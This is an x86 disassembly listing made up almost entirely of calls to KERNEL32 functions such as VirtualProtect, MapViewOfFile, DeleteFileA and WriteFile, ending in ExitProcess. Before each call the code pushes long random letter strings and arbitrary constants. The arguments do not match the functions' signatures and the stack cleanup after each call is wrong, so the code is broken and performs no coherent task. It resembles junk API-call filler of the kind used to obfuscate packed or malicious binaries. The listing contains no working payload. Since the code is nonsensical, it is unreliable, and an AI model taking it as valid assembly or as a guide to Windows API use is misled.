call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push str.aheBJTTRPfRFHcYNpDYAEdFpcXBHjBTiSGliCsBqnzHksHTtpTTQiXgbSWcubtWdVYT
push 0x182c2
push str.NjDGKEfGfJOpCXPJtagaeWtkQHyuLdzuQZIgDcjXoldqagUfcfcNrgjKnoejCoXigjvcnp
push 0x1f80
push str.PUCkGVPGCKHfXYnYBYIwThhSLjcvIrNWwOVbTyNEkmRIoFzOCcNf
push str.yIfYBrIlojkyLOZdUIfqhQHuSGqgRBjRufxSRTznTRlvxxfRoQKuQtGOwLuOpGPwTHDkeVGKvh
push 0x8722
push str.pPxxEfAARaTbgXyqlFEmjEczfjyccfunmoUVlCEBTNCBmgNFOfnhKkyJhHVUmjnLjVSHefIVWOZKXzXEEYOsuPNKVHzCJKsG
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 0x20
push str.cFRibsOyToaORfjqoysGdvqgwwoLQpgGzZDEoTkWWQQehyTtCbECCxNlhednQCINECQLOvJcKWjdjEygGoY
push str.hRRVCfabnfCUNqZnBThXulbVZRVQqRlduSSSQGdHtpPbxnQHSgCwWNdgXaXDAGfarzuHwfDVAbuTXHwKkPUtBTi
push 0x17b4
call dword [sym.imp.KERNEL32.dll_ResetEvent]
add esp, 0xc
push 0xc92f
push 0x11a53
push str.KIIDusoljfsCVVZdfteZylBDqtHExRhPetugaRWJfzzJTmznIcODJGFKOyxgufiUfVXkpvOyDfydHKFqZWLydwdngXwpesvVD
push 0x431e
push str.HnFeNDNoXoTuksafmybKvAXRKjYfvRIRISeAoUCLJYOZuDjIwEXreEmyNkOlzFpcwEeUZddKSOCBhQqKiomxj
push str.DvXTQnXBqiJUcLytJWLvHaNoEmIamOAxUzecNnRvvhdNDvuAydjCafJjWBltdepilRUwfmzzbtPyDNNByyIXfy
push str.nVugjdJHxdSHUDwwYRTyxwaXdXKwgodxHDzFhbwTyYywwQQUPlP
push str.NpcntvDffmzdUCOHCXVinDcEYWpsAmrIBPfyaTqcERDJHzhNBNDpkslvVnpfKUpexlfRSXyCnDDd
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0x20
push 0x17bb6
push 0xdd9a
push 0x2c6f
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.btgejuPoPqvlmGbwDWGjDUVJyTueJZVBLACFGAzTsrvuEssKirxawbpwGRvcFcFpWanjDillVFpQKUvIdQbSeVsafZZemTA
push str.OsguFfCLShWYhQQszkPimfVCwDLrwlHTfyKvWHFiTzxohiYhKawBSDkunRuCXuPRJBBDd
push 0x168d8
push str.xlzXJvZYusoNFDRVzRqfEquDAXzepfhNBkARYtzHUsIxbHRBDKoQuUgvXrWwQbqDUoHKYrAarFZjoaz
push 0x11718
push str.wTxfZooLnBmjiehUscSPhsWUvcyXvXerPTvUakjYgjbepFaYGZRqXJCDCEdnDfjGBvEECeGnBVlaTtdHlZSqvEEWAfRGEkswmEK
push str.qEzsDUevesdnpPaDECrceqynzeOlYtsBVlsFNbjQatcbqdkNjrlPmqgkecdNeNokOxUbCeDuOFujQywJZTJeBdzRh
push 0x6a28
push str.prNnArpjTdmbpeAwGRcmDKtuyvYJRHpatIGCLoUPNftqiypRQuGqtsdYGpIIvPhvNJUjDgjnEzZOCFcIQtrkUpTquOWeXy
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
add esp, 0x24
push str.RmwawXJswfrOCKtdpeJzoInNFVAeplTWAOxfvixQPglshZIFeyidLgXKPdPRcEknpKwhQKSrsCxQ
push str.NWkdcVZxOvaFepRFzaOIOlSqBZypjbNXcSloZfUGgyqchzRhcIYRHEEvzgOHCzJCVIFjYjhiXSRoKJDdvnNaeOEOeRjW
push str.WEwRLZwbGWOOGQIvVbqjhJReljDVnPudNhihysVXttvTycoWUuyxCotvzgowcvwiJ
push 0x14a81
push str.ELfrNjWbVFxXPcBkJvLImPgUaKKTUdGifHwaCrySompPPsUDjfBjAIqBBwqsxrayWWgOJtPaghsEhHodQYuVBxKn
push 0x14131
push str.KefsetiEOPLsLSjDzhsuactqydnqljzbGzbitfKXOXqsDTYKLUJmBEvmHGeaaLqQNcPJNLoJhXJbDUoZjZvBWqfxFpQosEG
push str.yAFNECROxJeFrXXOIjWuGwumOgqYWHwXNpgppYWQCxEpwteYdKdKUyGVuSqhfKZTtuUzWvPTPyXrzVRcjUajelKwKOn
push 0x14805
call dword [sym.imp.KERNEL32.dll_AttachConsole]
add esp, 0x24
push 0xde15
push 0x8291
push 0x16f2e
push 0x163f4
push 0x3446
push 0x501c
push str.vLdEoUhNeDFtQlvyvOFzLYRGSYFBycInFlBCegYZgSCVTLkBhPcllJglnvIDJqGUUokKmEpsVLEOiluerbdcu
push str.FVTuBTgpmfNggPbuYCdcLwjwKrnaIataQUZJZapiKiKZcUXAsVcNNSbwKTrAgTIcQovpWCptowLqLOlH
push str.DuBOeNXcXtEkOQBvemvGHYiZIxrDiNEyJSOGTxSnqBaWSrGmSIkVRdigSahprKFioZwHtPbAbozrCTAHAi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
add esp, 0x24
push 0x6a07
push 0x6a9a
push str.CURSymDOBvtpVPWlZedlWGzfWArwWtrNLNpopINeJPrQEsZGIsOqfuNhA
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add esp, 0xc
push 0x16834
push 0x125f5
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
add esp, 8
push str.cinvBCAIiPyVgVJqBvBnSdEuHnigZSQgGkzLXHZBdqfRAosJhDldDmdpQZPIVIiFqQJZEUNAnZPfOvEUOqmONBBElxB
push str.bcHbOlhRPSniGBXKQssOaFYsQXWFjEbhlAfAKywvkLpcQgBKZiqVPiCfs
push str.keYSkXpIuylOvhWeFlXkUCgtpTNKqJvoECXnFEKmSrQxBVWLwoDGR
push 0xb0a1
push str.fjGlquppbpYponbIYXZcuFxhOaBBLmIwkCjdSIpCLlPLyEJVcmZNNqNCAVTCJ
push str.HEdlAoxyjEmHrcsbgYRmVXiFBobDAaxFCpHUiWluBGXynPvuyhnsShaLccpHXdcROwhtjt
push 0x68f2
push str.ZVNSclERJPzUoXshpdDtHzbNpSDYknzTCZrnfKDUyiAnFsosFsYNcAlxEBZwYPqEErb
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
add esp, 0x20
push 0xce0e
push str.pNfWautWYrtIEPUzPWGEujncAokzgjPLihzqxjEDXRFjXFCatvdOcewYdwIyYH
push str.miXeCOrTsfDeLbzHhnIhvewUtlzWQppFwrwZNuENEsSWwEqkACLfqHKiZQJaZNjiUhKXVtU
push str.lEpKvnzJtwWnAfSdvPsExPtzKlbqQZLbBEaLGHugQScBdjtwdTmnHZsqcbAUbfKHCUEfEIAuEJhUlEBpjXNRuaqVGWYkmF
call dword [sym.imp.KERNEL32.dll_AllocConsole]
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.IXpngAweQrPQFuwUahCHpOewhjqGflggvskwhzODWeNslmWKZHsNnAjgqGbRcIBeqEoCNXJFPesPkfPuJSVxmChuxnKbyfDJgPY
push str.JIvANgkOAkXQBesOcrgwJOOBgepdBKUECTwLLGAefmZzonLLUBSpNGZkoiJbsDSHKqesttiQkNXgNkVDbXpEkWmR
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
add esp, 8
push 0x18102
push 0x937d
push str.geDCBWFwfvRYvIOQZOiYdakAnxAgpeiLPleZzPKSHCeEXhKfkOWfHfOHoEVTRAxU
push 0x136a9
push 0xcaf0
push str.CimnRzKKKlJJXHNLKYWHNOjzwrSIqxbzKhDsUkyXYkiRpNYbgIFIVZhBUxBWpvThkUQgUoFGySO
call dword [sym.imp.KERNEL32.dll_LocalFree]
add esp, 0x18
push str.DhzOfzYubzYEUpJPtyFGxmfPpaxucjefsNHCIiislYoHUUnSdbmpYsyCrJlPODqwpJmSouLjVwrrBwVkCNiskjLErg
push str.PQBfnfeaDSrrKfePARvrYSXqRcNZkXIFNiUvTDEOVeZIstdsdbyyvbOvk
call dword [sym.imp.KERNEL32.dll_HeapSize]
add esp, 8
push str.hFJwrjUwhYzzkUViPafVuPJCtayXmNhrhbGLBTnKDijaCsYmZRnWCBpBXNRhoxF
push 0x9a90
push 0x6a6f
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
add esp, 0xc
push str.dGgyhmPDPozqLyIntkaYamKbTyNlmDosOjOesBKimicLzoOiiYDguBpHjSTwcTlDZOHsmItQxvohtItgVcPBwShjAkciom
push str.qeJiWkNVdffpPcKhrbbxXjNAGdCttjCnnpVtwJGiRJkCIBwdXuBFvaASzYkounuQecdqUIdVDf
push str.LwXlZudVmnmkALwXfGQfPitSwoqTqRzIaTbndjLhTCchmWyyuFYAaitbiblcbVLRXJqvmVNeufqSudRkWPIgzuoQtHvYAtay
push 0x173b5
push 0x4297
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetFileType]
push 0xe1af
push str.EqYunDicedGzQKbmnfcCezlwUvYYTvraNjozfsliiJgtQaVwIVbSYatCqCdCppIcKmaapkeQTsFKQ
push 0x7197
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esp, 0xc
push str.kuvxoZEXrDmsqVxmXpJRIxTxzPBZPAKtcaFeiqsGFAFVyBEKJyAhItjJpXOhmDajcBmwAjjDUwuzHZWUdZnRHWhPHeRg
push 0x1704e
push str.LzmWKhuINDYYVmpviIbrZBmyGbmgdZISTcNefKbImGSTWwrBmUJonUFXNlgFAuZdLLSc
push 0x151a3
push 0xb03c
call dword [sym.imp.KERNEL32.dll_HeapFree]
add esp, 0x14
push str.ZZqeyHFzjOzCxpXCjxLAtCCYJwTNnKTltTAUAFZahOPXjINpWPiTIwVwoCnsYUmomsqbentYhdvhp
push str.PIqDCKyECvTfDCcZhrflOtmCvYVeZTtTVdtoCSYqNLObRXiNtHPinHhIJP
push 0x17ba6
push 0x3a23
push 0x128ae
push 0xd801
push 0xd13f
call dword [sym.imp.KERNEL32.dll_GetACP]
add esp, 0x1c
push str.PevLtCsDbxDUQAnqpDQDDwoqypZFQRWzCFTKiqrjQmHWmmJCgpkTvvbhaiSmBTsiVGZrigXib
push 0xe6fa
call dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 8
push 0x946f
push 0x4658
push 0x6fc4
push str.QPkWYJDNTmGzHrZVAbQnrlgZFqkOxgaXpnOVgqkzDGVLGLdaJSpQZVRTGqIvGLnIklijWyErsVSNqLaWfGrKknLAuubVSwuCNhm
push 0x15a2
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 0x14
push 0x13d27
push str.hzltBevKvoHTxEBSWPbfpVVrjiPxQTbIxbnhyjaqJUsKLUqoLKHbKtijgpQiVG
push str.rCywwszaGvpgEBPGPgpubWEvGVVfkeNsWBUYoNjEgWLFHazLEUwQLTpXEDgJFDHgAkvtFOxCekQRAkdVHl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x160c7
push str.EKSweFhgFHmgGZeHqRYrBvODZPpuGieqXhJsbWoKRzpEVhXYICRAyabwAtsDKoqUUFIQbDHmVjhlPg
push 0xe30d
push 0xdb30
push 0xd2a9
push 0xaf5b
push str.GcHnrRtpWDuzvAVOzOytpLVHZaCGVXfkrUgNIRGGedUcQSfPKtzpmUaG
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov esp, ebp
pop ebp
ret